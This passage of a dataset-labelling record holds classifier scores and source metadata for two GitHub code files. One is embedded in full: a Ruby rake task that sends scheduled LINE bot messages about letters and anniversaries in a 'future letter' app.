"Structured Data": 0.04040145336266599, "Technical Writing": 0.029059474637788085, "Transcript / Interview": 0.00029795702186602473, "Tutorial / How-To Guide": 0.004833670970436094, "User Reviews": 0.00011163248784860477, "NONE": 0.9166723524552821}, "tertiary": {"Academic Writing": 0.00034736425513001435, "Content Listing": 0.00022202167712111263, "Creative Writing": 0.00043637164757907946, "Customer Support Page": 0.00022225704089519295, "Q&A Forum": 0.0001222934394617846, "Discussion Thread": 0.00011637103875777614, "Comment Section": 0.00041029618147135795, "Missing Content": 0.0017535737147002894, "Knowledge Article": 0.002390477578524507, "Legal Notices": 0.006362575064110173, "News Article": 0.00020915457650060875, "Organizational Announcement": 0.00028121951927144993, "Nonfiction Writing": 0.0003419208241545224, "Organizational About Page": 0.0002926372628965527, "Personal About Page": 0.0002682898509605701, "Personal Blog": 0.00022206593443317566, "Product Page": 0.00015864994838549586, "Spam / Ads": 0.0002708031039986833, "Structured Data": 0.039440080984186165, "Technical Writing": 0.02800109872169136, "Transcript / Interview": 0.00026088631582463765, "Tutorial / How-To Guide": 0.004846417381923299, "User Reviews": 0.00010050742551993017, "NONE": 0.9129226665125023}, "structured_records": {"false": 0.9635089498523032, "true": 0.03649105014769684}, "procedural_steps": {"false": 0.9852299628572209, "true": 0.014770037142779134}, "worked_solution": {"false": 0.9898019641957596, "true": 0.01019803580424044}, "contextual_dialogue": {"false": 0.9999920714563727, "true": 7.928543627338044e-06}, "content_quality": {"-2": 0.004794498747651155, "-1": 0.020113945726371443, "0": 0.19458457807634225, "1": 0.48825993614072966, "2": 0.29224704130890555}, "noise_severity": {"0": 0.9401380167875358, "1": 0.05612928996889088, "2": 0.002247935262892426, "3": 0.0008984060707798973, "4": 0.0005863519099009455}, "missing_content_severity": {"0": 0.9553432903292834, "1": 0.02722347668273161, "2": 0.01380757207340553, "3": 0.002908160643850838, "4": 0.0007175002707285237}, "factual_density": {"0": 0.00731735931686786, "1": 0.029277812630205124, "2": 0.13348268913746542, "3": 0.3839283791117822, "4": 0.4459937598036795}, "pretraining_utility": {"-2": 0.00889858106580508, "-1": 0.0761945416482628, "0": 0.3699609713061348, "1": 0.458569365161648, "2": 0.08637654081814941}, "math_density": {"0": 0.08034852022400628, "1": 0.1944231273649649, "2": 0.3521998746589356, "3": 0.2348668746472183, "4": 0.13816160310487502}, "code_density": {"0": 0.00018097279992283774, "1": 0.0003201226059467551, "2": 0.005974860124058128, "3": 0.07005116060253104, "4": 0.9234728838675413}, "reasoning_density": {"0": 0.7585868223632568, "1": 0.08489747281659447, "2": 0.07629650115384953, "3": 0.04835361188716143, "4": 0.03186559177913786}, "education_level": {"none": 0.0011320946802557416, "0": 0.0015071875190634416, "1": 0.02281287303354295, "2": 0.7564387035676459, "3": 0.19919329521634657, "4": 0.018915845983145482}, "creative_writing_quality": {"not_applicable": 0.9990705615307616, "-2": 8.444707851629424e-05, "-1": 0.0002007595769921852, "0": 0.0004914737086485163, "1": 0.00011245482580510222, "2": 4.03032792763067e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 5.310603541799303e-05, "Art & Design": 0.00992798827932459, "Law & Crime": 5.442727134667654e-05, "Education & Careers": 5.2489684041248414e-05, "Entertainment & Media": 4.912496144048737e-05, "Fashion & Beauty": 4.2212982830755984e-05, "Business, Economics & Finance": 0.00013876531816895123, "Food & Dining": 3.757942919337474e-05, "Games & Gaming": 0.00012846000239048473, "Electronics & Hardware": 0.00010132434733754652, "Health, Healthcare & Wellness": 4.018548381375463e-05, "History & Geography": 6.509011759117493e-05, "Home, Pets & Hobbies": 4.220585786567582e-05, "Industry & Production": 4.4743804071049965e-05, "Language, Literature & Philosophy": 4.820699254688832e-05, "Politics & Government": 2.4462264385219017e-05, "Religion & Spirituality": 3.284469899494854e-05, "Science, Mathematics & Engineering": 0.013681260387346359, "Relationships & Community": 2.4477794784677087e-05, "Software Usage & Applications": 0.0008267135936430917, "Programming & Software Engineering": 0.9739168057097882, "Sports & Fitness": 5.598162588131282e-05, "Vehicles & Transportation": 2.8322096698453102e-05, "Travel & Tourism": 6.177740036406116e-05, "Other / Uncovered Subject": 0.00045446489189774605, "Unknown / Insufficient Content": 6.697896883529355e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0011422122791427058, "Art & Design": 0.19952649953796955, "Law & Crime": 0.0008111773342382769, "Education & Careers": 0.00047962681289698934, "Entertainment & Media": 0.0006948005072176471, "Fashion & Beauty": 0.00044532988742847305, "Business, Economics & Finance": 0.0009795347311901358, "Food & Dining": 0.0002928661034774043, "Games & Gaming": 0.0005608205071326179, "Electronics & Hardware": 0.0006167061082306819, "Health, Healthcare & Wellness": 0.0004929808522292883, "History & Geography": 0.0004428827212396937, "Home, Pets & Hobbies": 0.00039472012011065654, "Industry & Production": 0.0003087885820300199, "Language, Literature & Philosophy": 0.00029034932507275454, "Politics & Government": 0.0002968094425472377, "Religion & Spirituality": 0.00043698972749365536, "Science, Mathematics & Engineering": 0.08424772610887783, "Relationships & Community": 0.00022206771543195744, "Software Usage & Applications": 0.0032257760434345677, "Programming & Software Engineering": 0.03650468841214995, "Sports & Fitness": 0.00035734001269741944, "Vehicles & Transportation": 0.00020325577693006984, "Travel & Tourism": 0.0005509683367062111, "Other / Uncovered Subject": 0.0014850489184080413, "NONE": 0.6649900340957161}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 12228, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 12228, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:31:06.668704+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "98a175a4-4ee2-4cfd-9de0-58b16a132e1b", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "1c892f5eea4e45d38e9c77d0a922a53832a5ed6220d210ed5b795cb928f794f4", "source_metadata": {"uuid": "98a175a4-4ee2-4cfd-9de0-58b16a132e1b", "repo_name": "richardeoin/svg-plot-gen", "relative_path": "lib/svg_plot_gen.rb", "category": "TOOL", "algo_rel_score": 0.7110243439674377, "quality_score": 3.998318910598755, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 20, "repo_created_at": "2013-03-16T11:51:39.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 3, "pull_requests": 0}, "file_meta": {"content_id": "6088e9635a0dcdd3f3e36d10ff6ee9ed886a265f", "size_bytes": 10638, "file_timestamp": 1364593265, "language": "ruby", "is_vendor": false, "license_type": "permissive", "detected_licenses": ["MIT"]}, "commit_id": "3205416884d475436e6243b4ffe6f143ab28e6f7"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 20, "repo_created_at": "2013-03-16T11:51:39.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 3, "pull_requests": 0}, "file_meta": {"content_id": "6088e9635a0dcdd3f3e36d10ff6ee9ed886a265f", "size_bytes": 10638, "file_timestamp": 1364593265, "language": "ruby", "is_vendor": false, "license_type": "permissive", "detected_licenses": ["MIT"]}, "commit_id": "3205416884d475436e6243b4ffe6f143ab28e6f7", "url": "https://github.com/richardeoin/svg-plot-gen/blob/3205416884d475436e6243b4ffe6f143ab28e6f7/lib/svg_plot_gen.rb"}, "gpt4o_tokens": 3542, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.043051075536867, "noise_severity": 0.06566578634661921, "missing_content_severity": 0.06643310384400929, "factual_density": 3.2320033674552002, "pretraining_utility": 0.5373307430180738, "math_density": 2.156069913043991, "code_density": 3.9163148601318216, "reasoning_density": 0.5100136779023293, "education_level": 2.211437105933804, "creative_writing_quality": -0.18999896766889843}, "score_applicability": {"education_level": 0.9988679053197443, "creative_writing_quality": 0.0009294384692384046}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/yusamarina/future_letter/blob/834357c90522097b0ed35b33f57faaf4b0ee4a7f/lib/tasks/check_date.rake", "id": "ruby-0-c0cf547dfe340f071e94567a68ff4b49", "text": "namespace :check_date do\n desc \"push_line\"\n\n task push_line: :environment do\n liff_id = ENV['LIFF_ID']\n letters = Letter.where('send_date <= ? and send_date > ?', Time.now, Time.now - 1.hours)\n letters.each do |letter|\n address = SendLetter.find_by(letter_id: letter.id)\n if address.present?\n message = {\n \"type\": 'template',\n \"altText\": 'お手紙が届きました。',\n \"template\": {\n \"thumbnailImageUrl\": \"https://images.unsplash.com/photo-1605364850023-a917c39f8fe9?ixlib=rb-1.2.1&ixid=MnwxMjA3fDB8MHxzZWFyY2h8MzV8fGxldHRlcnxlbnwwfHwwfHw%3D&auto=format&fit=crop&w=600&q=60\",\n \"type\": 'buttons',\n \"title\": 'FUTURE LETTER',\n \"text\": 'お手紙が届いています!',\n \"actions\": [\n {\n \"type\": 'uri',\n \"label\": 'お手紙を読む',\n \"uri\": \"https://liff.line.me/#{liff_id}/login?token=#{letter.token}\"\n }\n ]\n }\n }\n client = Line::Bot::Client.new { |config|\n config.channel_secret = ENV['LINE_CHANNEL_SECRET']\n config.channel_token = ENV['LINE_CHANNEL_TOKEN']\n }\n response = client.push_message(address.user.line_user_id, message)\n p response\n\n if letter.user != address.user\n message = {\n \"type\": 'template',\n \"altText\": '相手へお手紙が送られました。',\n \"template\": {\n \"thumbnailImageUrl\": \"https://images.unsplash.com/photo-1559057287-ce0f595679a8?ixlib=rb-1.2.1&ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&auto=format&fit=crop&w=1470&q=80\",\n \"type\": 'buttons',\n \"title\": 'FUTURE LETTER',\n \"text\": '相手へお手紙が送られました!',\n \"actions\": [\n {\n \"type\": 'uri',\n \"label\": '送ったお手紙を確認する',\n \"uri\": \"https://liff.line.me/#{liff_id}/login?token=#{letter.token}\"\n }\n ]\n }\n }\n client = Line::Bot::Client.new { |config|\n config.channel_secret = ENV['LINE_CHANNEL_SECRET']\n config.channel_token = ENV['LINE_CHANNEL_TOKEN']\n }\n response = client.push_message(letter.user.line_user_id, message)\n p response\n end\n\n else\n message = {\n \"type\": 'template',\n \"altText\": '送信相手が未選択のため、送信予定時刻にお手紙を送れませんでした。',\n \"template\": {\n \"thumbnailImageUrl\": \"https://images.unsplash.com/photo-1603437873662-dc1f44901825?ixlib=rb-1.2.1&ixid=MnwxMjA3fDB8MHxzZWFyY2h8MzV8fGNsb3VkfGVufDB8fDB8fA%3D%3D&auto=format&fit=crop&w=600&q=60\",\n \"type\": 'buttons',\n \"title\": 'FUTURE LETTER',\n \"text\": \"送信予定時刻を過ぎました。\\n送信時刻の再設定、お手紙を送る相手を選択しましょう。\",\n \"actions\": [\n {\n \"type\": 'uri',\n \"label\": 'お手紙を確認する',\n \"uri\": \"https://liff.line.me/#{liff_id}/confirm?id=#{letter.id}\"\n }\n ]\n }\n }\n client = Line::Bot::Client.new{ |config|\n config.channel_secret = ENV['LINE_CHANNEL_SECRET']\n config.channel_token = ENV['LINE_CHANNEL_TOKEN']\n }\n response = client.push_message(letter.user.line_user_id, message)\n p response\n end\n end\n end\n\n task push_remind: :environment do\n liff_id = ENV['LIFF_ID']\n letters = Letter.where('send_date <= ? and send_date > ?', Time.now.since(3.days + 3.hours), Time.now + 3.hours)\n letters.each do |letter|\n if SendLetter.where(letter_id: letter.id).blank?\n message = {\n \"type\": 'template',\n \"altText\": '送信相手が選択されていないお手紙があります。',\n \"template\": {\n \"thumbnailImageUrl\": \"https://images.unsplash.com/photo-1603437873662-dc1f44901825?ixlib=rb-1.2.1&ixid=MnwxMjA3fDB8MHxzZWFyY2h8MzV8fGNsb3VkfGVufDB8fDB8fA%3D%3D&auto=format&fit=crop&w=600&q=60\",\n \"type\": 'buttons',\n \"title\": 'FUTURE LETTER',\n \"text\": \"設定した送信日時が近くなりました。\\nお手紙を送る相手を選択しましょう。\",\n \"actions\": [\n {\n \"type\": 'uri',\n \"label\": 'お手紙を確認する',\n \"uri\": \"https://liff.line.me/#{liff_id}/confirm?id=#{letter.id}\"\n }\n ]\n }\n }\n client = Line::Bot::Client.new{ |config|\n config.channel_secret = ENV['LINE_CHANNEL_SECRET']\n config.channel_token = ENV['LINE_CHANNEL_TOKEN']\n }\n response = client.push_message(letter.user.line_user_id, message)\n p response\n end\n end\n end\n\n task push_suggest: :environment do\n liff_id = ENV['LIFF_ID']\n anniversaries = Anniversary.where('date <= ? and date > ?', Date.today.since(30.days), Date.today.since(29.days))\n anniversaries.each do |anniversary|\n message = {\n \"type\": 'template',\n \"altText\": 'もうすぐ記念日です。',\n \"template\": {\n \"thumbnailImageUrl\": \"https://images.unsplash.com/photo-1603437873662-dc1f44901825?ixlib=rb-1.2.1&ixid=MnwxMjA3fDB8MHxzZWFyY2h8MzV8fGNsb3VkfGVufDB8fDB8fA%3D%3D&auto=format&fit=crop&w=600&q=60\",\n \"type\": 'buttons',\n \"title\": 'FUTURE LETTER',\n \"text\": \"記念日の30日前になりました。\\nお手紙を書きませんか?\",\n \"actions\": [\n {\n \"type\": 'uri',\n \"label\": '記念日を確認する',\n \"uri\": \"https://liff.line.me/#{liff_id}/write?id=#{anniversary.id}\"\n }\n ]\n }\n }\n client = Line::Bot::Client.new{ |config|\n config.channel_secret = ENV['LINE_CHANNEL_SECRET']\n config.channel_token = ENV['LINE_CHANNEL_TOKEN']\n }\n response = client.push_message(anniversary.user.line_user_id, message)\n p response\n end\n end\nend\n", "text_preview": "namespace :check_date do desc \"push_line\" task push_line: :environment do liff_id = ENV['LIFF_ID'] letters = Letter.where('send_date <= ? and send_date > ?', Time.now, Time.now - 1.hours) letters.each do |letter| address = SendLetter.find_b", "input_sha256": "92a6d494d53ab8db3d437dc73630afdfc3cd5df259023c70b3ea7b87ac6fadb8", "text_sha256": "c0cf547dfe340f071e94567a68ff4b49cf760307aa0165a706ac2ae393f563d4", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16030, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 3, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.964772486329, "noise_severity": 0.05316266290862987, "missing_content_severity": 0.0063641058722172985, "factual_density": 3.0837678342845507, "pretraining_utility": 0.3268131361382917, "math_density": 0.06682194042072913, "code_density": 3.8573341746503864, "reasoning_density": 0.4035352154894547, "education_level": 2.1626698800306996, "creative_writing_quality": -0.1428902472597309}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.07567395032733526, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9886622219127563, "secondary": 0.8052818340739702, "tertiary": 0.884245956154668, "structured_records": 0.20008042533328796, "procedural_steps": 0.013345688861013429, "worked_solution": 0.0033431896389404725, "contextual_dialogue": 1.2198025772276068e-05, "content_quality": 0.5303418625788148, "noise_severity": 0.9556977809094751, "missing_content_severity": 0.994696578439819, "factual_density": 0.488231758958376, "pretraining_utility": 0.47069795860795816, "math_density": 0.9443150496493924, "code_density": 0.8811118122086553, "reasoning_density": 0.6637206537587877, "education_level": 0.7537371774640526, "creative_writing_quality": 0.996208042944515, "primary_topic": 0.9831043057886937, "secondary_topic": 0.9008904241855983}, "probability_margin": {"primary": 0.981637089871774, "secondary": 0.6779263042097856, "tertiary": 0.8128049484580866, "education_level": 0.6279545100308387, "creative_writing_quality": 0.9945224184754213, "primary_topic": 0.9754964767378196, "secondary_topic": 0.873624608494256}, "raw_probabilities": {"primary": {"Academic Writing": 5.1052277424066614e-05, "Content Listing": 3.885977241799843e-05, "Creative Writing": 4.7423110488164634e-05, "Customer Support Page": 2.7561316043306626e-05, "Q&A Forum": 2.4013732515775683e-05, "Discussion Thread": 2.2725198895741772e-05, "Comment Section": 2.8461329303579137e-05, "Missing Content": 5.1098088320244765e-05, "Knowledge Article": 8.839358480143494e-05, "Legal Notices": 5.795522441273491e-05, "News Article": 1.1719352280927054e-05, "Organizational Announcement": 2.8889755116582267e-05, "Nonfiction Writing": 2.027145459346207e-05, "Organizational About Page": 3.1951446612767886e-05, "Personal About Page": 2.954587560976591e-05, "Personal Blog": 1.9820476856899697e-05, "Product Page": 1.911052924895093e-05, "Spam / Ads": 4.449059714529171e-05, "Structured Data": 0.007497539461284133, "Technical Writing": 0.9891346293330582, "Transcript / Interview": 3.385805774683239e-05, "Tutorial / How-To Guide": 0.0005548443978396806, "User Reviews": 1.4230284630016546e-05, "Other / Unknown": 0.0021215553433534804}, "secondary": {"Academic Writing": 0.0006371263549478658, "Content Listing": 0.0006782556366627525, "Creative Writing": 0.002496204406047912, "Customer Support Page": 0.0005503086643860845, "Q&A Forum": 0.0003155499442809252, "Discussion Thread": 0.0002948179772605839, "Comment Section": 0.0003978008838666464, "Missing Content": 0.0007223685253079618, "Knowledge Article": 0.0008269936090980692, "Legal Notices": 0.00047881778895866, "News Article": 0.0004234550193529801, "Organizational Announcement": 0.0004776707250074518, "Nonfiction Writing": 0.0004335573285297077, "Organizational About Page": 0.000463669163476049, "Personal About Page": 0.0003616568147304515, "Personal Blog": 0.000350455432394559, "Product Page": 0.00028950360682807437, "Spam / Ads": 0.001943931929298679, "Structured Data": 0.13546878677776922, "Technical Writing": 0.03642752888615208, "Transcript / Interview": 0.0005656692379361691, "Tutorial / How-To Guide": 0.0018132895470987166, "User Reviews": 0.0001874907530536559, "NONE": 0.8133950909875548}, "tertiary": {"Academic Writing": 0.0002890576908917075, "Content Listing": 0.0003419325985246166, "Creative Writing": 0.003884653003076013, "Customer Support Page": 0.0003433967811942055, "Q&A Forum": 0.00012382478233935074, "Discussion Thread": 0.00014809671115903171, "Comment Section": 0.00021334632487109118, "Missing Content": 0.00032785638878521286, "Knowledge Article": 0.00047336607462801966, "Legal Notices": 0.00027039655197142506, "News Article": 0.0001890560122816226, "Organizational Announcement": 0.00024953537918476996, "Nonfiction Writing": 0.00024474522018299606, "Organizational About Page": 0.00030235261694162515, "Personal About Page": 0.00015888707817630633, "Personal Blog": 0.00017814425790489694, "Product Page": 0.0001537614130616876, "Spam / Ads": 0.003393313698704282, "Structured Data": 0.0762640928568035, "Technical Writing": 0.022095217136468864, "Transcript / Interview": 0.000262258090998056, "Tutorial / How-To Guide": 0.0009443488595930155, "User Reviews": 7.931915736761711e-05, "NONE": 0.8890690413148901}, "structured_records": {"false": 0.799919574666712, "true": 0.20008042533328796}, "procedural_steps": {"false": 0.9866543111389866, "true": 0.013345688861013429}, "worked_solution": {"false": 0.9966568103610596, "true": 0.0033431896389404725}, "contextual_dialogue": {"false": 0.9999878019742278, "true": 1.2198025772276068e-05}, "content_quality": {"-2": 0.007484974098097382, "-1": 0.02706805403853501, "0": 0.222817608916849, "1": 0.4784482373293074, "2": 0.2641811256172112}, "noise_severity": {"0": 0.9559831741372911, "1": 0.03678744779482446, "2": 0.005786644353914981, "3": 0.0009690084499025035, "4": 0.0004737252640669856}, "missing_content_severity": {"0": 0.9964347867618664, "1": 0.001566172046364588, "2": 0.0013693264332692492, "3": 0.0004595780746846664, "4": 0.00017013668381505307}, "factual_density": {"0": 0.008755280136199568, "1": 0.024583188518925634, "2": 0.18974481003624907, "3": 0.4279718595413761, "4": 0.34894486176724965}, "pretraining_utility": {"-2": 0.012731751394653684, "-1": 0.12871115397677188, "0": 0.43177293348190793, "1": 0.37258052938896213, "2": 0.05420363175770442}, "math_density": {"0": 0.9445184339905763, "1": 0.049094871545331854, "2": 0.003454952321658954, "3": 0.0009098043376522022, "4": 0.0020219378047806914}, "code_density": {"0": 0.00034073957993460235, "1": 0.0006380409972553076, "2": 0.016409487461184404, "3": 0.10656976911574054, "4": 0.8760419628458852}, "reasoning_density": {"0": 0.775821348986275, "1": 0.07920579964429131, "2": 0.11877630084059586, "3": 0.018009387951379897, "4": 0.008187162577458}, "education_level": {"none": 0.0014554915090250482, "0": 0.0024167075217801314, "1": 0.02286687928799878, "2": 0.7947809812200438, "3": 0.1668264711892051, "4": 0.011653469271947296}, "creative_writing_quality": {"not_applicable": 0.9968400357870959, "-2": 0.0001711940238797108, "-1": 0.0004208784939514261, "0": 0.002317617311674604, "1": 0.0001888102927994341, "2": 6.146409059882969e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 6.855221378646316e-05, "Art & Design": 0.00016952675451330394, "Law & Crime": 7.151241912957293e-05, "Education & Careers": 8.660478804069937e-05, "Entertainment & Media": 9.731602990848507e-05, "Fashion & Beauty": 0.00011954960076463025, "Business, Economics & Finance": 0.0002154611669868046, "Food & Dining": 7.517561980098554e-05, "Games & Gaming": 0.00027114684831476777, "Electronics & Hardware": 0.00012338015964773508, "Health, Healthcare & Wellness": 5.9137788407474824e-05, "History & Geography": 8.799118522687827e-05, "Home, Pets & Hobbies": 0.0001521117819999661, "Industry & Production": 5.285612166651831e-05, "Language, Literature & Philosophy": 0.0007295163993977739, "Politics & Government": 4.605831287254277e-05, "Religion & Spirituality": 9.993511929878987e-05, "Science, Mathematics & Engineering": 8.992394014603065e-05, "Relationships & Community": 0.008257663443616675, "Software Usage & Applications": 0.003001216210024768, "Programming & Software Engineering": 0.9837541401814363, "Sports & Fitness": 8.167710670904027e-05, "Vehicles & Transportation": 3.855479320875844e-05, "Travel & Tourism": 9.973650952688742e-05, "Other / Uncovered Subject": 0.0020304940191062846, "Unknown / Insufficient Content": 0.00012076148646161352}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0007257447664340829, "Art & Design": 0.0022489429835509437, "Law & Crime": 0.0006151939597850667, "Education & Careers": 0.00034105094365841136, "Entertainment & Media": 0.0007950704216568483, "Fashion & Beauty": 0.0003931354188311472, "Business, Economics & Finance": 0.001127061046366996, "Food & Dining": 0.0002976313832011459, "Games & Gaming": 0.0005419820631148025, "Electronics & Hardware": 0.0004836596030328942, "Health, Healthcare & Wellness": 0.00032189713722133377, "History & Geography": 0.00044555429569866176, "Home, Pets & Hobbies": 0.0004817608986351135, "Industry & Production": 0.0001944546465550298, "Language, Literature & Philosophy": 0.00643265271517624, "Politics & Government": 0.0002799491350360384, "Religion & Spirituality": 0.00040567754704186196, "Science, Mathematics & Engineering": 0.00038620970589389617, "Relationships & Community": 0.031077722453434684, "Software Usage & Applications": 0.029524566074889562, "Programming & Software Engineering": 0.014580622952154242, "Sports & Fitness": 0.0002078303311721767, "Vehicles & Transportation": 0.00010583301349153119, "Travel & Tourism": 0.0003747389353423505, "Other / Uncovered Subject": 0.002908726620934293, "NONE": 0.9047023309476907}}, "probabilities": {"primary": {"Academic Writing": 5.1052277424066614e-05, "Content Listing": 3.885977241799843e-05, "Creative Writing": 4.7423110488164634e-05, "Customer Support Page": 2.7561316043306626e-05, "Q&A Forum": 2.4013732515775683e-05, "Discussion Thread": 2.2725198895741772e-05, "Comment Section": 2.8461329303579137e-05, "Missing Content": 5.1098088320244765e-05, "Knowledge Article": 8.839358480143494e-05, "Legal Notices": 5.795522441273491e-05, "News Article": 1.1719352280927054e-05, "Organizational Announcement": 2.8889755116582267e-05, "Nonfiction Writing": 2.027145459346207e-05, "Organizational About Page": 3.1951446612767886e-05, "Personal About Page": 2.954587560976591e-05, "Personal Blog": 1.9820476856899697e-05, "Product Page": 1.911052924895093e-05, "Spam / Ads": 4.449059714529171e-05, "Structured Data": 0.007497539461284133, "Technical Writing": 0.9891346293330582, "Transcript / Interview": 3.385805774683239e-05, "Tutorial / How-To Guide": 0.0005548443978396806, "User Reviews": 1.4230284630016546e-05, "Other / Unknown": 0.0021215553433534804}, "secondary": {"Academic Writing": 0.0006371263549478658, "Content Listing": 0.0006782556366627525, "Creative Writing": 0.002496204406047912, "Customer Support Page": 0.0005503086643860845, "Q&A Forum": 0.0003155499442809252, "Discussion Thread": 0.0002948179772605839, "Comment Section": 0.0003978008838666464, "Missing Content": 0.0007223685253079618, "Knowledge Article": 0.0008269936090980692, "Legal Notices": 0.00047881778895866, "News Article": 0.0004234550193529801, "Organizational Announcement": 0.0004776707250074518, "Nonfiction Writing": 0.0004335573285297077, "Organizational About Page": 0.000463669163476049, "Personal About Page": 0.0003616568147304515, "Personal Blog": 0.000350455432394559, "Product Page": 0.00028950360682807437, "Spam / Ads": 0.001943931929298679, "Structured Data": 0.13546878677776922, "Technical Writing": 0.03642752888615208, "Transcript / Interview": 0.0005656692379361691, "Tutorial / How-To Guide": 0.0018132895470987166, "User Reviews": 0.0001874907530536559, "NONE": 0.8133950909875548}, "tertiary": {"Academic Writing": 0.0002890576908917075, "Content Listing": 0.0003419325985246166, "Creative Writing": 0.003884653003076013, "Customer Support Page": 0.0003433967811942055, "Q&A Forum": 0.00012382478233935074, "Discussion Thread": 0.00014809671115903171, "Comment Section": 0.00021334632487109118, "Missing Content": 0.00032785638878521286, "Knowledge Article": 0.00047336607462801966, "Legal Notices": 0.00027039655197142506, "News Article": 0.0001890560122816226, "Organizational Announcement": 0.00024953537918476996, "Nonfiction Writing": 0.00024474522018299606, "Organizational About Page": 0.00030235261694162515, "Personal About Page": 0.00015888707817630633, "Personal Blog": 0.00017814425790489694, "Product Page": 0.0001537614130616876, "Spam / Ads": 0.003393313698704282, "Structured Data": 0.0762640928568035, "Technical Writing": 0.022095217136468864, "Transcript / Interview": 0.000262258090998056, "Tutorial / How-To Guide": 0.0009443488595930155, "User Reviews": 7.931915736761711e-05, "NONE": 0.8890690413148901}, "structured_records": {"false": 0.799919574666712, "true": 0.20008042533328796}, "procedural_steps": {"false": 0.9866543111389866, "true": 0.013345688861013429}, "worked_solution": {"false": 0.9966568103610596, "true": 0.0033431896389404725}, "contextual_dialogue": {"false": 0.9999878019742278, "true": 1.2198025772276068e-05}, "content_quality": {"-2": 0.007484974098097382, "-1": 0.02706805403853501, "0": 0.222817608916849, "1": 0.4784482373293074, "2": 0.2641811256172112}, "noise_severity": {"0": 0.9559831741372911, "1": 0.03678744779482446, "2": 0.005786644353914981, "3": 0.0009690084499025035, "4": 